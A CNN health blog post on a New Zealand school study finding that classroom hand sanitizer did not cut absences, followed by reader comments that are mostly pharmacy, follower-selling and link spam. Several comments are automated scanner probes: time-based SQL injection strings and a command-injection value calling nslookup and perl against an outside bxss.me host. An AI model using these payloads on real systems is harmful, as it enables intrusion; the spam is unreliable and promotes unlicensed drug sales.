home
RSS
August 12th, 2014
04:38 PM ET

Hand sanitizer doesn't help in schools

School children get low marks when it comes to spreading germs, often sharing bugs with their classmates. So scientists wondered if putting hand sanitizers into elementary school classrooms would lead to fewer absences.

The study

Researchers in New Zealand set out to discover if using alcohol-based hand sanitizers, in addition to regular hand washing, would cut back on absentee rates in schools.

They recruited 68 primary schools, and all students were given a half-hour hygiene lesson. They then assigned half of the schools to a control group where children washed their hands with soap and water. The schools in the intervention group did the same, but were also asked to use classroom hand sanitizers when they coughed or sneezed, and before meals.

When children missed school, calls were made to find out if the child was sick. The research team checked-in with the caregivers of more than 2,400 children, keeping track of the type and length of their illnesses during 20 weeks of school.

The results

Absentee rates between the two groups were virtually the same, the study authors found.

"These findings suggest that, in high-income countries where clean water for hand washing is readily available, putting resources into extra hand hygiene by providing hand sanitizer in classrooms may not be an effective way to break the child-to-child transmission of infectious diseases," an accompanying editorial in the journal concluded.

Caveats

An unexpected flu epidemic during the course of the study may have affected the findings. Heightened awareness about the benefits of clean hands during the epidemic may have led to more hand washing overall, making it more difficult to see if hand sanitizers gave added benefit, says Dr. Jennifer Shu, a pediatrician in Atlanta who was not involved with the study.

But the study authors say that the impact of hand sanitizer would be particularly important during an influenza pandemic, and they found "providing hand sanitizer was not an effective mechanism for reducing illness absence."

The takeaway

So what is the takeaway message for schools and parents? The Centers for Disease Control and Prevention says it's best to have children wash their hands with soap and water. If a sink is not available, hand sanitizers with an alcohol concentration of at least 60% are a good second choice.

The bottom line, do what it takes to rub those germs away.

 Post by:
Filed under: Children's Health • Cold and flu • Germs • Living Well
Next entry »
« Previous entry
soundoff (1,453 Responses)
  1. Terry Malter

    Oh my goodness! an incredible article dude. Thanks a lot However I will be experiencing problem with ur rss . Don’t know why Not able to enroll in it. Is there anybody getting identical rss issue? Anybody who knows kindly respond. Thnkx

    http://yourmatrixcashmachine.com

    January 12, 2021 at 00:18 | Report abuse | Reply
  2. JlloCrulk

    cheap viagra online canadian pharmacy indian pharmacy online global pharmacy canada

    January 12, 2021 at 12:12 | Report abuse | Reply
  3. NlbxZisse

    viagra super active plus viagra to buy viagra 50mg whats is viagra super force viagra pills for sale viagra for sale in london 800mg viagra gold generic viagra viagra and mastercard viagra online viagra und sex chep viagra how much does viagra cost? viagra dapoxetine online viagra dapoxetine

    January 13, 2021 at 20:50 | Report abuse | Reply
  4. 1

    555

    January 13, 2021 at 22:03 | Report abuse | Reply
  5. (nslookup hitsrfeupkbvj51910.bxss.me||perl -e "gethostbyname('hitsrfeupkbvj51910.bxss.me')")

    555

    January 13, 2021 at 22:03 | Report abuse | Reply
  6. 1

    555'"()&%VzHE(9902)

    January 13, 2021 at 22:03 | Report abuse | Reply
  7. 4zUNSiq0

    555

    January 13, 2021 at 22:06 | Report abuse | Reply
  8. 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

    555

    January 13, 2021 at 22:06 | Report abuse | Reply
  9. -1); waitfor delay '0:0:15' --

    555

    January 13, 2021 at 22:06 | Report abuse | Reply
  10. -5) OR 521=(SELECT 521 FROM PG_SLEEP(15))--

    555

    January 13, 2021 at 22:06 | Report abuse | Reply
  11. 7XLdzVje')) OR 510=(SELECT 510 FROM PG_SLEEP(15))--

    555

    January 13, 2021 at 22:07 | Report abuse | Reply
  12. 1

    EZsEpuF7

    January 13, 2021 at 22:07 | Report abuse | Reply
  13. 1

    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

    January 13, 2021 at 22:07 | Report abuse | Reply
  14. 1

    -1); waitfor delay '0:0:15' -

    January 13, 2021 at 22:08 | Report abuse | Reply
  15. 1

    -5) OR 549=(SELECT 549 FROM PG_SLEEP(15))–

    January 13, 2021 at 22:08 | Report abuse | Reply
  16. 1

    0Bd2HepH')) OR 588=(SELECT 588 FROM PG_SLEEP(15))–

    January 13, 2021 at 22:08 | Report abuse | Reply
  17. KlioMile

    generic viagra 100mg viagra online generic viagra in sweden order viagra overnight shipping get viagra ireland kaboom viagra price comparison viagra cialis levitra buying viagra gold online i bought viagra online aus genric viagra pfizer viagra without presciption viagra copyright street value for viagra drugs like viagra buy viagra no persecpiton

    January 14, 2021 at 22:33 | Report abuse | Reply
  18. FgnhZisse

    viagra purchase alternative to viagra viagra overnight shipping buy viagra online with overnight shipping 100mg viagra viagra melbourne which is better viagra cialis or levitra viagra priligy australia paypal viagra australai cheap viagra in las vegas nv buy generic viagra 50mg generic viagra how can i buy viagra online australia viagra 100 365 pills mobi catalog viagra

    January 15, 2021 at 17:35 | Report abuse | Reply
  19. Maudie Bronn

    https://www.electricpercolatorcoffeepot.com/10-top-coffee-bloggers/

    January 16, 2021 at 00:05 | Report abuse | Reply
  20. JvcxCrulk

    brand viagra 100mg online pfizer generic viagra cialis paypal viagra prescriptions viagra result video chipp viagra generic viagra, canada buy viagra online with free delivery viagra discover card viagra in uk viagra man walmart without prescription pharmacist buy with pay pal viagra belize viagra youtube viagra prices 365pills mobi catalog viagra viagra without prescription

    January 16, 2021 at 11:58 | Report abuse | Reply
  21. zortilo nrel

    Hello.This article was really fascinating, especially because I was browsing for thoughts on this matter last Wednesday.

    http://www.zortilonrel.com/

    January 17, 2021 at 12:33 | Report abuse | Reply
  22. NlbxZisse

    cialis one a day with dapoxetine canada best price for cialis 20 mg buy cialis online using paypal http://cialijomen.com/ – buy cialis 20 mg online ’

    January 18, 2021 at 21:34 | Report abuse | Reply
  23. AqbvEncox

    viagra uk over the counter viagra cialis buying viagra in n ireland http://acialaarx.com/ – 365pills generic viagra ’

    January 18, 2021 at 22:22 | Report abuse | Reply
  24. KbctMile

    walmart cialis pharmacy cialis buy cialis online buy http://mycialedst.com/ – does cialis increase ejaculation ’

    January 19, 2021 at 22:12 | Report abuse | Reply
  25. frolep rotrem

    What’s Happening i am new to this, I stumbled upon this I've discovered It positively helpful and it has helped me out loads. I hope to contribute & assist different customers like its helped me. Great job.

    http://www.froleprotrem.com/

    January 20, 2021 at 16:49 | Report abuse | Reply
  26. JbdcEncox

    viagra generic where to buy buy cheap generic viagra online generic viagra discover http://llviabest.com/ – where to buy viagra online in australia ’

    January 20, 2021 at 17:26 | Report abuse | Reply
  27. FbdhZisse

    generic cipla cialis cialis wears off cialis free sample http://21cialismen.com/ – cialis paypal ’

    January 20, 2021 at 18:23 | Report abuse | Reply
  28. LcxEncox

    photos of real viagra viagra price buy viagra on oine http://genqpviag.com/ – no prescription viagra canada ’

    January 21, 2021 at 03:46 | Report abuse | Reply
  29. Lucius Yongue

    I conceive this site has got some really excellent info for everyone :D. "Do not go where the path may lead, go instead where there is no path and leave a trail." by Ralph Waldo Emerson.

    https://www.electricpercolatorcoffeepot.com/10-top-coffee-bloggers/

    January 21, 2021 at 04:15 | Report abuse | Reply
  30. Jenifer Podratz

    Wow! This could be one particular of the most beneficial blogs We've ever arrive across on this subject. Actually Excellent. I'm also a specialist in this topic so I can understand your hard work.

    https://www.electricpercolatorcoffeepot.com/10-top-coffee-bloggers/

    January 21, 2021 at 05:55 | Report abuse | Reply
  31. fauxdori travelers

    Hi there to every one, it's actually a nice for me to go to see this web site,
    it contains useful Information.

    Also visit my website fauxdori travelers

    January 21, 2021 at 08:41 | Report abuse | Reply
  32. JvcbxCrulk

    cialis 20 mg canad canadian pharmacy viagra cialis viagra/cialis black and gold 800 http://phrcialiled.com/ – is cialis over the counter in canada ’

    January 21, 2021 at 10:51 | Report abuse | Reply
  33. Arlyne Stillman

    Do you want get more social network traffic, likes, and retweets? SMM Supreme uses his own panel system to generate social media traffic to any website. Best Quality-Price Ratio on the market with 714928 orders until now. – Facebook Fan Page Likes: $4.50/1000 – Instagram Followers: $0.78/1000 – Youtube Views: $1.62/1000 – Twitter followers: $2.10/1000 – Paypal Deposit – Payeer Deposit – Automatic order processing – 30 minutes to send to customers

    https://bit.ly/3iOPatX

    January 23, 2021 at 01:13 | Report abuse | Reply
  34. Rick Casey

    excellent work my friend from Ireland!

    http://www.firstbathrooms.ie

    January 23, 2021 at 10:46 | Report abuse | Reply
  35. NmilZisse

    viagra for sale usa buy viagras viagra for women for sale http://xz-pharmacyonline.com/en/career-opportunities.html – viagra paypal checkout ’

    January 23, 2021 at 17:19 | Report abuse | Reply
  36. AhmdEncox

    tadalafil ( cialis ) cialis online free shipping cialis black reviews http://cialmenshoprx.com/ – cheap cialis generic online ’

    January 23, 2021 at 17:29 | Report abuse | Reply
  37. KbbtMile

    is there a legal generic cialis made in the united states Cilostazol cialis for sale https://xz-pharmacyonline.com – Macrobid ’

    January 24, 2021 at 11:37 | Report abuse | Reply
  38. vreyro linomit

    Hello.This article was really motivating, especially because I was browsing for thoughts on this issue last couple of days.

    http://www.vreyrolinomit.com/

    January 25, 2021 at 00:45 | Report abuse | Reply
  39. FbgZisse

    buy viagra in south africa online where to buy viagra in canada viagra https://canadianpharmacy-usx.com/organic.htm – how get free viagra ’

    January 25, 2021 at 13:36 | Report abuse | Reply
  40. JnhCrulk

    wwwfreecialispills overnight pharmacy cialis generic cialis http://loncialis.com/ – buying cialis in australia ’

    January 25, 2021 at 18:53 | Report abuse | Reply
  41. Anitra Mechling

    Good ¡V I should definitely pronounce, impressed with your web site. I had no trouble navigating through all the tabs as well as related information ended up being truly easy to do to access. I recently found what I hoped for before you know it in the least. Reasonably unusual. Is likely to appreciate it for those who add forums or something, site theme . a tones way for your client to communicate. Excellent task..

    https://www.electricpercolatorcoffeepot.com/10-top-coffee-bloggers/

    January 26, 2021 at 16:46 | Report abuse | Reply
  42. Jacinda Trahin

    Do you want get more social network traffic, likes, subscribers? Our Company provide SMM Services that means (Social Media Marketing) that is directly using social network websites such as Twitter, Facebook, and LinkedIn to promote a website. High Quality Services / Our prices are the cheapest in the market, starting at $0.01 / 24/7 Support / API Support for panel leaders / Best prices

    https://bit.ly/3iOPatX

    January 26, 2021 at 17:02 | Report abuse | Reply
  43. Audry Frelow

    https://www.electricpercolatorcoffeepot.com/10-top-coffee-bloggers/

    January 27, 2021 at 02:21 | Report abuse | Reply
  44. Sabrina Swantak

    Social network traffic Facebook likes Twitter Followers Instagram Followers and much more

    https://bit.ly/3iVO2Vh

    January 27, 2021 at 02:52 | Report abuse | Reply
  45. frolep rotrem

    Hello. remarkable job. I did not expect this. This is a great story. Thanks!

    http://www.froleprotrem.com/

    January 27, 2021 at 09:24 | Report abuse | Reply
  46. FmfvEncox

    generis cialis online overnight delivery typical cialis prescription strength buy cialis tadalafil http://sjcialis.com/ – cialis tablets ’

    January 27, 2021 at 10:02 | Report abuse | Reply
  47. Harold Kuwada

    Social network traffic Facebook likes Twitter Followers Instagram Followers and much more

    https://bit.ly/2Hnl7vE

    January 28, 2021 at 00:04 | Report abuse | Reply
  48. NgscZisse

    100mg sildenafil 30 tablets price viagra online buy canadian pharmacies viagra http://canadianpharmacy-yy.com/Fitness/how-to-get-a-six-pack.html – sildenafil soft tabs 100mg ’

    January 28, 2021 at 22:58 | Report abuse | Reply
  49. AhmdEncox

    cialis male enhancement Micronase cialis with effexor https://impotencecdny.com/ – Ventolin inhalator ’

    January 28, 2021 at 23:59 | Report abuse | Reply
  50. KbbgMile

    viagra or viagra or levitra trial erection pills viagra c800 http://erectilejyzd.com/ – overseas pharmacies ’

    January 29, 2021 at 18:06 | Report abuse | Reply
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29

Leave a Reply to aika private server english

Click here to cancel reply.

 

CNN welcomes a lively and courteous discussion as long as you follow the Rules of Conduct set forth in our Terms of Service. Comments are not pre-screened before they post. You agree that anything you post may be used, along with your name and profile picture, in accordance with our Privacy Policy and the license you have granted pursuant to our Terms of Service.

Next entry »
« Previous entry
Advertisement
About this blog

Get a behind-the-scenes look at the latest stories from CNN Chief Medical Correspondent, Dr. Sanjay Gupta, Senior Medical Correspondent Elizabeth Cohen and the CNN Medical Unit producers. They'll share news and views on health and medical trends - info that will help you take better care of yourself and the people you love.